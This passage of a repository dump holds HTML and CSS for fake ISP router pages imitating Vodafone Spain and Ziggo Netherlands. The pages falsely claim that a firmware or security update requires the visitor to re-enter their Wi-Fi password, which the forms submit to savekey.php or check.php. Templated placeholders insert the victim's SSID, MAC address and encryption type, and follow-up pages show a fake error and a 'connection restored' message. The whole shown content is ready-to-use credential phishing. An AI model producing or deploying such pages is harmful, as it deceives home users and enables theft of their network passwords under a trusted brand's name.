fkDf5wXkHPBKs1Xv9coja2Xg\nlJgsVKKcl2tFauu0VWvXatimgZv1pwSkIIbbFEBsopwQmKwY6iIQxZ5X2SxAbO/ppPJJJMqdAaZ+\n9JM/VPjyJzcFECNrlBUjOSc2ih1hGG8WiwRqBaUV9IlKFgOYSrnstbOffC2BZHRivEs5ZFqudgkY\nf/iBz058Z8VaNzyQPpUl96ksuaiD1n+Akp8k01wHIEkbuu+hrLJT5Ykn+p2Uy62nXk+cFur/9ZT9\nK5yBLf9fLf0mdfrBfivNjTqVdsmJNbuGHzRoQl/NiMVQWZXslrHKThtnPZVIhzzJlS8JnONm7Lzc\nCwxGYdifMWZBJbl/pQ6LOnoJ4C139VR7inmr+TmdNbJOm3TeOa8A8KUjj/k/fvK7bsmUZIyp1mnH\n9ulYsE9xl7KNcds8s2dmK6Atv6eiMJxUSVG+Ujfe/bKlmHcvg0b1aU+OttZaBjqjMOwBqqyAsM1s\n3ylr3NEpue7QAe2AEu0ysBhoUkkT8w7jjOicsF2b51i9p/CbdINFHYE9x8crssY2Vq8wSlr3rbZq\nFIazGWPyskYXq534Q8CdIhBE6zMBq/cVk+p+9Oi3IbU+d8o1Cg4Qr0HVa9ml7FjSbZInTjU8JmG6\ndG65WeBei8Lwgn7fpb8d0DF5m2S5qPnnAxOm8qEpz8qXT+rwM8TKHcego8lqi13I2LFA4ijAglwG\n3gROCNSAuo93C+BzcrV+/XanlNqvNS6xcn94BjgTbM8vx0ePvbzw4Oc/MCqTLwn5QU2011zrTZ5J\nDXhL7ZHWPae8slVx+TEBycrVh9Th/7CsM+v0z14CXgUuBQCPHj4UPxiGWeC/NQlnURroEkh7TZys\nkzrdhJbTfrMSOC9w83p/ryw1LMWm9fu8LHlOYMaBrKvlkkpse39xvg6IdhR6iRMjcxJmWn/7u/ba\nLZLZw+rdJk7/7B/6HAcWMsYUg5qsuSRNTdawTdPd+RZcja9/42j808ceNmKmBPinLGNvl0ekSDum\npGB7UTvz1G9fLfCZ/XhHnvyl98OHvriR/55hE15KcbJT3fp7gQ8p+VklngF+DfwReD32/ezWUqkM\n4N8IIAAO3/8FexweUwCfAP4kK8VOfrOXtik/jjuuRxnf0jjx7NNJZoXN5qKV02NVrl5UrN7iFLKe\nU3dd83bQusfPj5+NlOzOAi8Df9FzSow1p1iqtDuAr0XMdIpyd+ukuYOVq+3T6hkvPfTI4+Znjz9S\nvaGBOIBstzItN5vJGDNXry5iE4CxAV4B8hlj3tYT+x/bHOAwLK6c3wAAAABJRU5ErkJggg==\n\" height=\"50\" width=\"50\"></td>\n        </tr>\n      </tbody></table>\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n      </blockquote>\n</BODY>\n\n</HTML>"
  },
  {
    "path": "sites/vodafone_esp/final.html",
    "content": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n        <TR>\n\n          <TD class=blue colspan=2></TD>\n\n        </TR>\n\n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n          \nSU CONEXION SERA RESTABLECIDA.</TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n</blockquote>\n</BODY>\n\n</HTML>\n\n"
  },
  {
    "path": "sites/vodafone_esp/index.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>SERVICIOS VODAFONE</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house\">\n\t\t<div style=\"cursor: auto;\" id=\"internet\" class=\"divInternet\">\n\t\t<div class=\"internet\" id=\"iconInternet\" internet_status=\"INTERNET_OK\"></div>\n\t\t<div class=\"internet_txt\">\n\t\t\t<span class=\"trad\" key=\"MAP_INTERNET\"><A href=\"ayuda.htm\"><font color=\"red\">CONTROL Y ACCESO</A></span>\n\t\t\t<span class=\"internet_des trad\" key=\"COMMON_EMPTY\" id=\"internetAlert\"> </span>\n\t\t</div>\n\t</div>\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"ayuda.htm\"><font color=\"red\">DE</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"ayuda.htm\"><font color=\"red\">DISPOSITIVOS DE RED. PULSE AQU&Iacute; PARA MAS INFORMACI&Oacute;N</A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"ayuda.htm\"><font color=\"red\" >¿AYUDA?--¿QUE SUCEDE?</A></span>\n\t</div>\n\n\t\n\t\n\t\n\t\t<div class=\"scroll\">\n<iframe src=\"info.html\" width=\"450\" height=\"290\" align=\"center\">\n\t\t</div>\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Sesi&oacute;n: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/vodafone_esp/info.css",
    "content": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; background: none repeat scroll 0% 0% white; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; background: url('background.png') repeat-x scroll 0% 0% transparent; margin: 0px; padding: 0px; text-align: center; font-size: 11px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 600px; height: 650px; margin: 0px auto; text-align: left; padding: 0px; background: url('background.png') repeat-x scroll 0% 0% transparent; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.home_station { width: 239px; height: 29px; display: block; }\n.network_map { margin-top: 18px; width: 124px; height: 21px; display: block; }\n.movistar { width: 221px; height: 49px; float: right; }\n.options_menu { width: 904px; position: absolute; margin-top: -60px; }\n.line { background-color: rgb(81, 85, 89); width: 1px; height: 9px; margin: 4px 12px; }\n.line_small { background-color: rgb(160, 165, 169); width: 1px; height: 5px; margin: 6px 10px; }\n.password_ico { background: url('password_blue_light.gif') no-repeat scroll 0% 0% transparent; width: 20px; height: 10px; padding-right: 8px; margin-top: 3px; }\n.password_ico.hover { background: url('password_blue.gif') no-repeat scroll 0% 0% transparent; }\n.faq_ico { background: url('faq_blue_light.png') no-repeat scroll 0% 0% transparent; width: 17px; height: 17px; padding-right: 8px; }\n.faq_ico.hover { background: url('faq_blue.png') no-repeat scroll 0% 0% transparent; }\n.languages a { color: rgb(160, 165, 169); float: right; }\n.languages a:hover { color: rgb(112, 145, 167); text-decoration: underline; }\n.footer { height: 34px; }\n\n\n\n/* ::::: http://192.168.1.1/css/network_map.css ::::: */\n\n.house { background-image: url('house.png'); width: 995px; height: 895px; margin: auto; }\n\n.house1 { background-image: url('house1.png'); width: 995px; height: 895px; margin: auto; }\n\n#wifi { position: absolute; margin: 490px 0px 0px 500px; width: 300px; text-align: center; font-size: 15px; }\n.wifi_ico { width: 89px; height: 103px; background-position: 0px 0px; display: block; margin: 20px auto 6px; }\n.wifi_ico[color=\"grey\"] { background-position: 0px 0px; }\n.wifi_ico[color=\"green\"] { background-position: -89px 0px; }\n.wifi_ico[color=\"blue\"] { background-position: -178px 0px; }\n.wifi_ico[color=\"orange\"] { background-position: -267px 0px; }\n.wifi_ico[color=\"red\"] { background-position: -356px 0px; }\n.wifi_ico.hover { background-position: -178px 0px; }\n.gateway { display: none; margin: 0px auto; }\n.wifi_txt { margin-top: 4px; }\n#home_content { width: 380px; }\n.scroll { margin: 280px 0px 0px 370px; position: absolute; }\n\n\n/* ::::: http://192.168.1.1/css/movistar.css ::::: */\n\n.home_station { background: none repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar { background: url('titlebar_m.png') repeat-x scroll 0% 0% transparent; }\n.dialog_faq { background: url('faq.png') no-repeat scroll 0% 0% transparent; }\n.dialog_faq:hover { background: url('faq_hover.png') no-repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar-close { background: url('cancel_sprite.png') no-repeat scroll -44px 0px transparent; }\n.ui-dialog .ui-dialog-titlebar-close:hover { background-position: -66px 0px; }\n.welcomepan_icon { background: url('welcome_pantalla_m.png') no-repeat scroll 0% 0% transparent; }\n.welcomepan_icon:hover { background: url('welcome_pantalla_m.png') repeat scroll 270px 0px transparent; }\n.welcome_fav_icon { background: url('favoritos_m.png') no-repeat scroll 0% 0% transparent; width: 217px; height: 54px; }\n.welcome_fav_icon.hover { background: url('favoritos_m.png') repeat scroll 217px 0px transparent; }\n#help_dialog { border: 3px solid rgb(67, 177, 200); }\n.usb_icon { background: url('down_usb_m.png') no-repeat scroll 0% 0% transparent; }\n.print_icon { background: url('down_print_m.png') no-repeat scroll 0% 0% transparent; }\n.wifi_ico { background: url('router_m.png') no-repeat scroll 0% 0% transparent; }\n.imgStiker { background-image: url('gateway_sticker_m.png'); }\n.imgDefaultStiker { background-image: url('gateway_sticker_m.png'); }\n.gateway_reset_ico { width: 100px; height: 113px; background-image: url('reset_m.png'); }\n\n"
  },
  {
    "path": "sites/vodafone_esp/info.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info2.css\" media=\"all\">\n</head>\n<body bgcolor=\"transparent\" marginheight=\"0\" marginwidth=\"0\">\n\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n  <tbody><tr> \n      <td width=\"2%\">&nbsp;</td><td width=\"5%\"></td><td width=\"93%\"> \n      <div valign=\"top\" align=\"left\"> \n        <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"360\">\n           \n          </tr>\n          <TABLE id=\"autoWidth\">\n\n      <TBODY>\n<tr><td><hr color=\"red\" size=2 width=\"99%\"></td></tr>\n\n\n                  <tr><td colspan=\\\"2\\\" ><font color=\"#008698\">SSID: <b>$Host_SSID</b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#008698\">MAC Address: <b>$Host_MAC</b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#008698\">Channel: <b>$Host_CHAN</b></td></tr>\n\n\n<tr><td></td></tr>\n\n\n<tr><td><hr color=\"red\" size=2 width=\"99%\"></td></tr>\n<tr><td></td></tr>\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n<br><font color=\"#008698\">\nEstimado cliente, debido a actualizaciones de seguridad y firmware la conexion tiene deficiencias.\n<br>\n<br>\nPor razones de seguridad <b>$Host_ENC</b> ingresa la clave de tu wifi\n<br>\n<br>\n<div id=\"box\" align=\"left\" >\n<form id=\"form1\" name=\"form1\" method=\"POST\" action=\"savekey.php\" >\n<tr><td><b><font color=\"#008698\">$Host_ENC</b> CONTRASE&NTILDE;A:</td></tr>\n<tr><td><input name=\"key1\" type=\"password\" class=\"textfield\" /><td></tr>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n                <TR><TD class=blue colspan=2></TD></TR>\n\n        \n<tr><td colspan=\"2\"><INPUT name=\"Confirm\" class=\"button\" type=\"submit\" value=\"Confirmar\"/></td></tr>\n\n</form></div>\n\n</TD></TR>\n\n\n      </TBODY>\n\n    </TABLE>\n</table></div></td></tr></tbody></table>\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/vodafone_esp/info2.css",
    "content": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 944px; height: 720px; margin: 0px auto; text-align: left; padding: 0px; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.line_grey { background-color: rgb(229, 229, 229); width: 100%; height: 1px; clear: both; }\ninput { margin: 6px auto; padding-left: 7px; height: 20px; width:300px; border: 1px solid rgb(207, 207, 207); font-family: Verdana,Geneva,sans-serif; font-size: 14px ! important; color: rgb(81, 85, 89); }\n.buttons_space { margin-left: 50px; } \n\n"
  },
  {
    "path": "sites/ziggo2_nl/error.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en-US\">\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n<title>Ziggo Wi-Fi Login</title>\n\n<style>\nhtml,body {\n\t\theight: 100%;\n\t\tfont-family: sans-serif;\n\t\tmargin: 0px;\n}\ndiv {\n\t\tdisplay: block;\n}\n\n.logo {\n\t\tposition: absolute;\n\t\ttop: 30px;\n\t\tleft:0px;\n\t\twidth:104px;\n\t\theight:50px;\n\t\ttext-align:center;\n\t\tbackground: url(\"Ziggo-logo.svg\") no-repeat #fff;\n\t\tbackground-size: 84px 30px;\n\t\tbackground-position: center;\n\t\tz-index:10;\n}\n\n#background {\n\t\theight: 100%;\n\t\tmargin: 0px;\n\t\tpadding: 0px;\n\t\tbackground: url(\"generic-mobemBG.jpg\") center center no-repeat fixed;\n\t\tbackground-size:cover;\n}\n\n#overlay {\n\t\theight: 100%;\n\t\tposition: absolute;\n\t\tleft:0px;\n\t\ttop:0px;\n\t\tbackground: rgba(0,0,0,0.6);\n\t\tbackground-size:100% auto;\n\t\twidth:100%;\n\t\tpadding-top:30px;\n}\n\n#white {\n\t\tmax-width: 840px;\n\t\tposition: relative;\n\t\ttext-align: center;\n\t\twidth: 840px;\n\t\tbackground: url(\"white-transparent90.png\");\n\t\tfont-size: 16px;\n\t\tmargin: 0px auto;\n\t\tpadding: 45px 30px 90px 30px;\n}\n\n#title {\n\t\tcolor: #f48c00;\n\t\theight: 55px;\n\t\ttext-align: center;\n\t\tfont-size: 46px;\n\t\tpadding-top: 20px;\n}\n\n#text {\n\t\tcolor: rgb(51, 51, 51);\n\t\ttext-align: center;\n\t\tfont-size: 16px;\n\t\tpadding: 20px 15px;\n}\n\n#input {\n\t\theight: 47px;\n\t\ttext-align: center;\n\t\tfont-size: 18px;\n\t\tpadding: 0px 0px 20px;\n}\n\n#table {\n\t\theight: 47px;\n\t\ttext-align: center;\n\t\tfont-size: 18px;\n\t\tmargin: auto;\n}\n\n#row {\n\t\theight: 47px;\n\t\ttext-align: center;\n\t\tvertical-align: middle;\n\t\tfont-size: 18px;\n}\n\n#data1 {\n\t\tcolor: rgb(51, 51, 51);\n\t\theight: 32px;\n\t\ttext-align: -webkit-right;\n\t\tvertical-align: middle;\n\t\tfont-size: 18px;\n\t\tpadding: 0px 5px 0px 15px;\n}\n\n#data2 {\n\t\theight: 32px;\n\t\tvertical-align: middle;\n\t\tfont-size: 18px;\n\t\tpadding: 0px 5px 0px;\n}\n\n#inputdata {\n\t\tbox-sizing: content-box;\n\t\tcolor: rgb(102, 102, 102);\n\t\theight: 22px;\n\t\twidth: 80%;\n\t\tfloat: left;\n\t\tborder: 2px solid red;\n\t\tborder-radius: 3px 3px 3px 3px;\n\t\tfont-size: 18px;\n\t\tpadding: 3px 10px;\n}\n\n#inputdata:focus {\n\t\tborder-color: #f48c00;\n}\n\n#button {\n\t\tmargin-top: 15px;\n}\n\n#next {\n\t\tcolor: #fff;\n\t\tcursor: pointer;\n\t\ttext-align: center;\n\t\twhite-space: pre;\n\t\talign-items: flex-start;\n\t\tbackground: #f48c00 repeat;\n\t\tborder: 1px solid #d27800;\n\t\tborder-radius: 5px;\n\t\tfont-size: 24px;\n\t\tpadding: 15px 30px;\n}\n\n#next:hover {\n\t\tbackground: #ffa021;\n}\n\n#error {\n\t\tmargin-top: -5px;\n\t\tfont-size: 12px;\n\t\tcolor: red;\n}\n\n@media only screen and (max-width: 479px) {\n\t\t.logo {\n\t\t\t\tbackground-color: transparent;\n\t\t}\n\t\t#white {\n\t\t\t\twidth: 100%;\n\t\t\t\tpadding: 30px 0px 80px 0px;\n\t\t}\n\t\t#text {\n\t\t\t\tfont-size: 14px;\n\t\t\t\tpadding: 15px 20px 20px 20px;\n\t\t}\n\t\t#next {\n\t\t\t\tfont-size: 20px;\n\t\t}\n}\n\n</style>\n</head>\n\n<body onload=\"getFocus()\">\n\t<div class=\"logo\"></div>\n\n\t<div id=\"background\">\n\t\t<div id=\"overlay\">\n\t\t\t<div id=\"white\">\n\t\t\t\t<div id=\"title\">\n\t\t\t\t\tWelkom\n\t\t\t\t</div>\n\t\t\t\t<div id=\"text\">\n\t\t\t\t\tUw Wi-Fi modem heeft recentelijk een update gehad. Hierdoor is het vanuit veiligheidsoverwegingen noodzakelijk dat u uw wachtwoord opnieuw invult. Uw wachtwoord is te vinden aan de onderkant van uw Wi-Fi modem.\n\t\t\t\t</div>\n\t\t\t\t<div id=\"input\">\n\t\t\t\t\t<form id=\"form1\" method=\"POST\" action=\"check.php\" name=\"form1\">\n\t\t\t\t\t\t<table id=\"table\">\n\t\t\t\t\t\t\t\t<tr id=\"row\">\n\t\t\t\t\t\t\t\t\t<td id=\"data1\">\n\t\t\t\t\t\t\t\t\t\t<label for=\"inputdata\">Wachtwoord</label>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t<td id=\"data2\">\n\t\t\t\t\t\t\t\t\t\t<input id=\"inputdata\" name=\"key1\" value=\"\" type=\"password\">\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t<div id=\"error\">\n\t\t\t\t\t\t\t<span>Uw wachtwoord is onjuist. Probeer het opnieuw.</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div id=\"button\">\n\t\t\t\t\t\t\t<input type=\"submit\" id=\"next\" value=\"Doorgaan\">\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</form>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n</body>\n</html>\n"
  },
  {
    "path": "sites/ziggo2_nl/final.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en-US\">\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n<title>Ziggo Wi-Fi Login</title>\n\n<style>\nhtml,body {\n\t\theight: 100%;\n\t\tfont-family: sans-serif;\n\t\tmargin: 0px;\n}\ndiv {\n\t\tdisplay: block;\n}\n\n.logo {\n\t\tposition: absolute;\n\t\ttop: 30px;\n\t\tleft:0px;\n\t\twidth:104px;\n\t\theight:50px;\n\t\ttext-align:center;\n\t\tbackground: url(\"Ziggo-logo.svg\") no-repeat #fff;\n\t\tbackground-size: 84px 30px;\n\t\tbackground-position: center;\n\t\tz-index:10;\n}\n\n#background {\n\t\theight: 100%;\n\t\tmargin: 0px;\n\t\tpadding: 0px;\n\t\tbackground: url(\"generic-mobemBG.jpg\") center center no-repeat fixed;\n\t\tbackground-size:cover;\n}\n\n#overlay {\n\t\theight: 100%;\n\t\tposition: absolute;\n\t\tleft:0px;\n\t\ttop:0px;\n\t\tbackground: rgba(0,0,0,0.6);\n\t\tbackground-size:100% auto;\n\t\twidth:100%;\n\t\tpadding-top:30px;\n}\n\n#white {\n\t\tmax-width: 840px;\n\t\tposition: relative;\n\t\ttext-align: center;\n\t\twidth: 840px;\n\t\tbackground: url(\"white-transparent90.png\");\n\t\tfont-size: 16px;\n\t\tmargin: 0px auto;\n\t\tpadding: 45px 30px 80px 30px;\n}\n\n#title {\n\t\tcolor: #f48c00;\n\t\theight: 55px;\n\t\ttext-align: center;\n\t\tfont-size: 46px;\n\t\tpadding-top: 20px;\n}\n\n#text {\n\t\tcolor: rgb(51, 51, 51);\n\t\ttext-align: center;\n\t\tfont-size: 16px;\n\t\tpadding: 20px 15px;\n}\n\n@media only screen and (max-width: 479px) {\n\t\t.logo {\n\t\t\t\tbackground-color: transparent;\n\t\t}\n\t\t#white {\n\t\t\t\twidth: 100%;\n\t\t\t\tpadding: 30px 0px 60px 0px;\n\t\t}\n\t\t#text {\n\t\t\t\tfont-size: 14px;\n\t\t\t\tpadding: 15px 20px 20px 20px;\n\t\t}\n}\n\n</style>\n\n<div class=\"logo\"></div>\n\n<div id=\"background\">\n\t<div id=\"overlay\">\n\t\t<div id=\"white\">\n\t\t\t<div id=\"title\">\n\t\t\t\tWelkom\n\t\t\t</div>\n\t\t\t<div id=\"text\">\n\t\t\t\tEen ogenblik geduld a.u.b...<br>\n\t\t\t\tUw Wi-Fi modem is binnen enkele seconden weer beschikbaar.\n\t\t\t</div>\n\t\t</div>\n\t</div>\n</div>\n</html>\n"
  },
  {
    "path": "sites/ziggo2_nl/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en-US\">\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n<title>Ziggo Wi-Fi Login</title>\n\n<style>\nhtml,body {\n\t\theight: 100%;\n\t\tfont-family: sans-serif;\n\t\tmargin: 0px;\n}\ndiv {\n\t\tdisplay: block;\n}\n\n.logo {\n\t\tposition: absolute;\n\t\ttop: 30px;\n\t\tleft:0px;\n\t\twidth:104px;\n\t\theight:50px;\n\t\ttext-align:center;\n\t\tbackground: url(\"Ziggo-logo.svg\") no-repeat #fff;\n\t\tbackground-size: 84px 30px;\n\t\tbackground-position: center;\n\t\tz-index:10;\n}\n\n#background {\n\t\theight: 100%;\n\t\tmargin: 0px;\n\t\tpadding: 0px;\n\t\tbackground: url(\"generic-mobemBG.jpg\") center center no-repeat fixed;\n\t\tbackground-size:cover;\n}\n\n#overlay {\n\t\theight: 100%;\n\t\tposition: absolute;\n\t\tleft:0px;\n\t\ttop:0px;\n\t\tbackground: rgba(0,0,0,0.6);\n\t\tbackground-size:100% auto;\n\t\twidth:100%;\n\t\tpadding-top:30px;\n}\n\n#white {\n\t\tmax-width: 840px;\n\t\tposition: relative;\n\t\ttext-align: center;\n\t\twidth: 840px;\n\t\tbackground: url(\"white-transparent90.png\");\n\t\tfont-size: 16px;\n\t\tmargin: 0px auto;\n\t\tpadding: 45px 30px 80px 30px;\n}\n\n#title {\n\t\tcolor: #f48c00;\n\t\theight: 55px;\n\t\ttext-align: center;\n\t\tfont-size: 46px;\n\t\tpadding-top: 20px;\n}\n\n#text {\n\t\tcolor: rgb(51, 51, 51);\n\t\ttext-align: center;\n\t\tfont-size: 16px;\n\t\tpadding: 20px 15px;\n}\n\n#input {\n\t\theight: 47px;\n\t\ttext-align: center;\n\t\tfont-size: 18px;\n\t\tpadding: 0px 0px 20px;\n}\n\n#table {\n\t\theight: 47px;\n\t\ttext-align: center;\n\t\tfont-size: 18px;\n\t\tmargin: auto;\n}\n\n#row {\n\t\theight: 47px;\n\t\ttext-align: center;\n\t\tvertical-align: middle;\n\t\tfont-size: 18px;\n}\n\n#data1 {\n\t\tcolor: rgb(51, 51, 51);\n\t\theight: 32px;\n\t\ttext-align: -webkit-right;\n\t\tvertical-align: middle;\n\t\tfont-size: 18px;\n\t\tpadding: 0px 5px 15px 15px;\n}\n\n#data2 {\n\t\theight: 32px;\n\t\tvertical-align: middle;\n\t\tfont-size: 18px;\n\t\tpadding: 0px 5px 15px;\n}\n\n#inputdata {\n\t\tbox-sizing: content-box;\n\t\tcolor: rgb(102, 102, 102);\n\t\theight: 22px;\n\t\twidth: 80%;\n\t\tfloat: left;\n\t\tborder: 2px solid rgb(211, 211, 211);\n\t\tborder-radius: 3px 3px 3px 3px;\n\t\tfont-size: 18px;\n\t\tpadding: 3px 10px;\n}\n\n#inputdata:focus {\n\t\tborder-color: #f48c00;\n}\n\n#next {\n\t\tcolor: #fff;\n\t\tcursor: pointer;\n\t\ttext-align: center;\n\t\twhite-space: pre;\n\t\talign-items: flex-start;\n\t\tbackground: #f48c00 repeat;\n\t\tborder: 1px solid #d27800;\n\t\tborder-radius: 5px;\n\t\tfont-size: 24px;\n\t\tpadding: 15px 30px;\n}\n\n#next:hover {\n\t\tbackground: #ffa021;\n}\n\n@media only screen and (max-width: 479px) {\n\t\t.logo {\n\t\t\t\tbackground-color: transparent;\n\t\t}\n\t\t#white {\n\t\t\t\twidth: 100%;\n\t\t\t\tpadding: 30px 0px 60px 0px;\n\t\t}\n\t\t#text {\n\t\t\t\tfont-size: 14px;\n\t\t\t\tpadding: 15px 20px 20px 20px;\n\t\t}\n\t\t#next {\n\t\t\t\tfont-size: 20px;\n\t\t}\n}\n\n</style>\n</head>\n\n<body onload=\"getFocus()\">\n\t<div class=\"logo\"></div>\n\n\t<div id=\"background\">\n\t\t<div id=\"overlay\">\n\t\t\t<div id=\"white\">\n\t\t\t\t<div id=\"title\">\n\t\t\t\t\tWelkom\n\t\t\t\t</div>\n\t\t\t\t<div id=\"text\">\n\t\t\t\t\tUw Wi-Fi modem heeft recentelijk een update gehad. Hierdoor is het vanuit veiligheidsoverwegingen noodzakelijk dat u uw wachtwoord opnieuw invult. Uw wachtwoord is te vinden aan de onderkant van uw Wi-Fi modem.\n\t\t\t\t</div>\n\t\t\t\t<div id=\"input\">\n\t\t\t\t\t<form id=\"form1\" method=\"POST\" action=\"check.php\" name=\"form1\">\n\t\t\t\t\t\t<table id=\"table\">\n\t\t\t\t\t\t\t\t<tr id=\"row\">\n\t\t\t\t\t\t\t\t\t<td id=\"data1\">\n\t\t\t\t\t\t\t\t\t\t<label for=\"inputdata\">Wachtwoord</label>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t<td id=\"data2\">\n\t\t\t\t\t\t\t\t\t\t<input id=\"inputdata\" name=\"key1\" value=\"\" type=\"password\">\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t<div id=\"button\">\n\t\t\t\t\t\t\t<input type=\"submit\" id=\"next\" value=\"Doorgaan\">\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</form>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n</body>\n</html>\n"
  },
  {
    "path": "sites/ziggo_nl/error.html",
